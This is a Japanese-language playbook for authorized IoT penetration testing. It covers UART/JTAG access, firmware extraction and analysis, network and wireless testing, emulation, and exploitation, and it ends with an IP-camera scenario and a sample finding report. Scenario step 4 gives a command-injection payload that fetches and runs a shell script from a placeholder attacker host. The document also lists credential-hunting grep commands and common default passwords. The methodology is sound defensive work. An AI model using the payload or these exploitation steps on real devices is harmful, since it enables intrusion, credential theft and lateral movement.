performing-iot-security-assessment

IoT セキュリティアセスメントの実施

使用するタイミング

• 企業や重要インフラ環境に導入する前に、IoT デバイスのセキュリティを評価するとき
• 製品セキュリティレビューや認証の一環として、コンシューマー向け IoT 製品の脆弱性を評価するとき
• 運用技術（OT）環境に影響しうる脆弱性について、産業用 IoT（IIoT）デバイスをテストするとき
• ファームウェアにバックドア、ハードコードされた認証情報、組み込みコンポーネントの既知の脆弱性がないかを分析するとき
• デバイス、クラウドバックエンド、モバイルコンパニオンアプリを含む IoT エコシステム全体のセキュリティを評価するとき

使用しないでください: 書面による許可のない IoT デバイスに対して実施する場合、所有していないデバイスのファームウェアを変更する場合、または医療機器専用のテスト許可と安全手順がない医療機器や安全重視システムに対して実施する場合。

前提条件

• ハードウェア分析およびテストのために、対象の IoT デバイスへの物理的アクセスがあること
• ハードウェアツール: USB-UART アダプター（FTDI）、Bus Pirate、ロジックアナライザー、JTAG デバッガー（Segger J-Link）、SPI フラッシュプログラマー（CH341A）
• ファームウェア分析ツール: Binwalk、Firmwalker、Firmware Analysis Toolkit（FAT）、Ghidra、エミュレーション用の QEMU
• ネットワーク分析: Wireshark、tcpdump、Bluetooth ツール（Ubertooth、nRF Connect）、Zigbee ツール（KillerBee）
• 必要に応じてハードウェアのデバッグポイントにアクセスするためのはんだ付け機材

ワークフロー

ステップ 1: デバイスの偵察とハードウェア分析

物理デバイスを調べ、攻撃対象領域を特定します。

• 外観検査: 物理インターフェース（USB、Ethernet、シリアルポート、SD カードスロット）、ラベル、FCC ID、型番をすべて記録します。
• FCC ID の検索: FCC データベース（fcc.gov/oet/ea/fccid）で FCC ID を検索し、内部写真、回路図、無線周波数に関する情報を見つけます。
• PCB 分析: デバイスの筐体を開き、PCB を撮影します。以下を特定します。
  • メインプロセッサ／SoC（刻印を読み取り、データシートを検索）
  • フラッシュメモリチップ（SPI NOR、NAND、eMMC）
  • デバッグヘッダーとテストポイント
  • UART／JTAG／SWD ピン（4 ピンまたは 10 ピンのヘッダー、または未実装のパッドを探す）
• UART の特定: テスターを使用して UART ピン（TX、RX、GND、VCC）を特定します。USB-UART アダプターを接続し、一般的なボーレート（9600、38400、57600、115200）でシリアルコンソールへのアクセスを試みます。
• JTAG の特定: JTAGulator または手動のプロービングを使用して JTAG ピン（TCK、TMS、TDI、TDO、TRST）を特定します。メモリアクセスとデバッグのために JTAG デバッガーを接続します。

ステップ 2: ファームウェアの抽出と分析

デバイスのファームウェアを抽出し、分析します。

• ファームウェアの取得方法:
  • メーカーの Web サイトまたはアップデートサーバーからダウンロードする
  • SPI プログラマーを使用してフラッシュメモリから抽出する: CH341A を SPI フラッシュに接続し、flashrom -p ch341a_spi -r firmware.bin で読み出す
  • ネットワーク傍受により、無線（OTA）アップデートをキャプチャする
  • UART ブートローダーコンソールから抽出する（U-Boot: md.b によるメモリダンプ）
• ファームウェアの展開: binwalk -e firmware.bin を実行し、ファイルシステム、カーネル、ブートローダーのコンポーネントを抽出します。
• ファイルシステムの分析:
  • 認証情報を検索する: grep -rn "password\|passwd\|secret\|key" squashfs-root/
  • パスワードハッシュがないか /etc/shadow を確認する
  • /etc/init.d/ の起動スクリプトを確認し、安全でないサービス設定がないか調べる
  • Web インターフェースの脆弱性を探すため、Web サーバーの設定と CGI スクリプトを特定する
  • Firmwalker を使用して機密データを自動検出する: ./firmwalker.sh squashfs-root/
• バイナリ分析: Ghidra を使用して主要なバイナリ（Web サーバー、管理デーモン、認証モジュール）をリバースエンジニアリングし、ハードコードされた認証情報、コマンドインジェクション、バッファオーバーフローの脆弱性を探します。
• 既知の脆弱性スキャン: ソフトウェアのバージョンを抽出し、CVE データベースと照合します。自動 CVE スキャンには firmware-analysis-toolkit を使用します。

Step 3: ネットワーク通信の分析

IoT デバイスからのすべてのネットワークトラフィックを分析します:

• トラフィックキャプチャ: デバイスをトラフィックミラーリング(SPAN ポート)付きのネットワークに接続するか、インラインの透過型ブリッジを使用します。Wireshark ですべてのトラフィックをキャプチャします。
• プロトコル分析: 使用されているすべてのプロトコル(HTTP、HTTPS、MQTT、CoAP、AMQP、カスタム TCP/UDP)を特定します。機密データが暗号化されずに送信されていないかを確認します。
• TLS 分析: TLS 実装を検証します。証明書の検証、暗号スイートの強度、証明書ピンニングを確認します。Burp Suite を使用して MITM による傍受を試みます。
• クラウド API 分析: デバイスからクラウドへの通信を傍受し、API エンドポイント、認証方式、送信されるデータを特定します。IDOR、認証バイパス、過剰なデータ露出をテストします。
• Bluetooth/BLE テスト: nRF Connect または Ubertooth を使用して、BLE のサービスと特性を列挙します。認証なしのアクセス、平文でのデータ送信、静的なペアリングキーをテストします。
• Zigbee/Z-Wave テスト: KillerBee フレームワークを使用して Zigbee トラフィックをキャプチャand分析し、リプレイ攻撃をテストして、鍵交換のセキュリティを確認します。

Step 4: ファームウェアのエミュレーションと動的テスト

動的なセキュリティテストのためにファームウェアをエミュレートします:

• QEMU エミュレーション: FirmAE または Firmadyne を使用して、抽出したファームウェアをエミュレートします: python3 fat.py firmware.bin でファームウェアをエミュレート環境内で起動します。
• Web インターフェースのテスト: エミュレート環境からデバイスの Web 管理インターフェースにアクセスし、以下をテストします:
  • デフォルト認証情報(admin:admin、root:root、admin:password)
  • 設定パラメータへのコマンドインジェクション
  • 直接の URL アクセスによる認証バイパス
  • すべての入力フィールドにおけるクロスサイトスクリプティング
  • 状態を変更する操作における CSRF
• サービスのテスト: Nmap を使用してエミュレートされたデバイスのすべての開いているポートをスキャンし、各サービスについて既知の脆弱性をテストします。
• ファジング: Boofuzz または AFL を使用してネットワークサービスをファジングし、組み込みサービスにおけるメモリ破壊の脆弱性を発見します。

Step 5: エクスプロイトと影響の実証

特定した脆弱性を悪用して、その影響を実証します:

• リモートコード実行: 発見した脆弱性(コマンドインジェクション、バッファオーバーフロー)を連鎖させ、デバイス上でリモートコード実行を達成します。
• 認証情報の抽出: ファームウェア、メモリダンプ、またはネットワークキャプチャから見つかった認証情報を抽出し、解読します。
• 横方向の移動: 侵害された IoT デバイスを使って、ネットワーク上の他のデバイスを攻撃できることを実証します。
• 永続化: 攻撃者がファームウェアの更新や再起動をまたいでデバイスへのアクセスを維持する方法を示します。
• 物理的影響: IIoT デバイスの場合、物理的な操作(センサー値の改ざん、アクチュエーターコマンドの変更)の可能性を実証します。

主要な概念

用語	定義
UART	Universal Asynchronous Receiver/Transmitter。組み込みデバイスのデバッグコンソールによく使用されるシリアル通信インターフェースで、多くの場合ルートシェルへのアクセスを提供します
JTAG	Joint Test Action Group。プロセッサへの直接アクセスを提供するハードウェアデバッグインターフェースで、メモリの読み取り、コードのデバッグ、ファームウェアの抽出に使用されます
ファームウェア	デバイスのフラッシュメモリに組み込まれ、デバイスの動作を制御するソフトウェアです。通常、ブートローダー、オペレーティングシステムのカーネル、ルートファイルシステムで構成されます
Binwalk	ファームウェアイメージに埋め込まれたファイルシステム、圧縮アーカイブ、バイナリコンポーネントを特定して抽出するファームウェア分析ツールです
MQTT	Message Queuing Telemetry Transport。IoT デバイスの通信によく使用される軽量のパブリッシュ/サブスクライブプロトコルで、認証なしで展開されることが多いです
BLE	Bluetooth Low Energy。多くの IoT デバイスが近距離通信に使用する無線プロトコルで、適切に保護されていない場合は盗聴や不正アクセスに対して脆弱です

ツールとシステム

• Binwalk: ファームウェア抽出・解析ツール。ファイルシステムの種類、圧縮形式、ファームウェアイメージ内に埋め込まれたデータを特定します
• Ghidra: NSA が公開しているオープンソースのリバースエンジニアリングフレームワーク。ARM、MIPS などのアーキテクチャにわたる組み込みデバイスのバイナリを解析します
• FirmAE/Firmadyne: 抽出した Linux ベースの IoT ファームウェアを QEMU 上で起動し、動的テストを行う自動化されたファームウェエミュレーションプラットフォーム
• Bus Pirate: UART、SPI、I2C、JTAG プロトコルに対応したハードウェアハッキング用のマルチツール。組み込みデバイスのデバッグインターフェースとの接続に使用します
• Wireshark: ネットワークプロトコルアナライザー。すべてのプロトコルレイヤーにわたって IoT デバイスのネットワークトラフィックをキャプチャ・解析します

一般的なシナリオ

シナリオ: 企業向け IP カメラのセキュリティ評価

背景: ある企業が、単一ベンダーの IP カメラ 200 台をオフィス全体に導入する計画を立てています。導入前に、セキュリティチームはカメラに対するペネトレーションテストを依頼し、企業ネットワークへのアクセスに悪用されうる脆弱性を特定しようとしています。

アプローチ:

1. カメラを開けて PCB 上の UART ピンを特定し、接続して 115200 ボーでパスワードなしのルートシェルにアクセスする
2. SPI フラッシュチップからファームウェアを抽出し、Binwalk で解析する。BusyBox、lighttpd Web サーバー、独自の管理デーモンを備えた組み込み Linux であることが判明する
3. /etc/shadow（root:$1$abc$hashedpassword）内にハードコードされた認証情報を発見し、MD5 ハッシュを数秒で解読する（パスワード: camera123）
4. Web インターフェースのテストで、NTP サーバー設定フィールドにコマンドインジェクションの脆弱性があることが判明する: ; wget http://attacker.com/shell.sh | sh
5. ネットワーク解析の結果、カメラは RTSP ストリームを暗号化せずに送信しており、ONVIF サービスが認証なしで公開されていることがわかる
6. ピボッティングを実証する: 侵害したカメラから企業ネットワークをスキャンし、内部サーバー 3 台にアクセスする
7. レポートでは、ネットワークのセグメント化、ファームウェアベンダーとの連携、カメラの隔離された VLAN への配置を推奨する

よくある落とし穴:

• Web インターフェースだけに注目し、認証なしでルートシェルが得られる UART/JTAG アクセスを見落とす
• 同じモデルのすべてのデバイスで共有されている可能性のあるハードコードされた認証情報を、ファームウェアで解析しない
• デバイスを単独でテストし、脆弱なデバイスを企業ネットワークに配置することによるネットワークレベルのリスクを見落とす
• 追加の攻撃対象領域となりうるクラウド接続やモバイルアプリのコンポーネントを見落とす

出力形式

## Finding: Unauthenticated Root Shell via UART Debug Interface

**ID**: IOT-001
**Severity**: Critical (CVSS 9.0)
**Device**: ModelCam X200 IP Camera (Firmware v3.2.1)
**Interface**: UART serial console (115200 baud, 8N1)

**Description**:
The IP camera exposes a UART serial interface on the PCB that provides
direct root shell access without authentication. An attacker with physical
access to the device can connect a USB-to-UART adapter and obtain full
root access to the embedded Linux operating system.

**Proof of Concept**:
1. Opened device enclosure (4 Philips screws, no tamper detection)
2. Connected FTDI adapter to UART pins (J3 header on PCB)
3. Serial terminal at 115200 8N1: immediate root shell prompt
4. root@camera:~# id -> uid=0(root) gid=0(root)

**Additional Findings from Root Access**:
- /etc/shadow contains hardcoded root password (camera123) shared across all units
- WiFi credentials for any configured network stored in plaintext at /etc/wireless.conf
- RTSP stream accessible without authentication on port 554

**Impact**:
Physical access to any deployed camera grants root access to the network.
With 200 cameras deployed across offices, each camera becomes a potential
network entry point with root-level command execution capability.

**Remediation**:
1. Disable UART console access or require authentication in production firmware
2. Remove hardcoded credentials; use per-device unique passwords generated at manufacture
3. Encrypt stored WiFi credentials using a hardware-backed key
4. Deploy cameras on an isolated VLAN with no access to the corporate network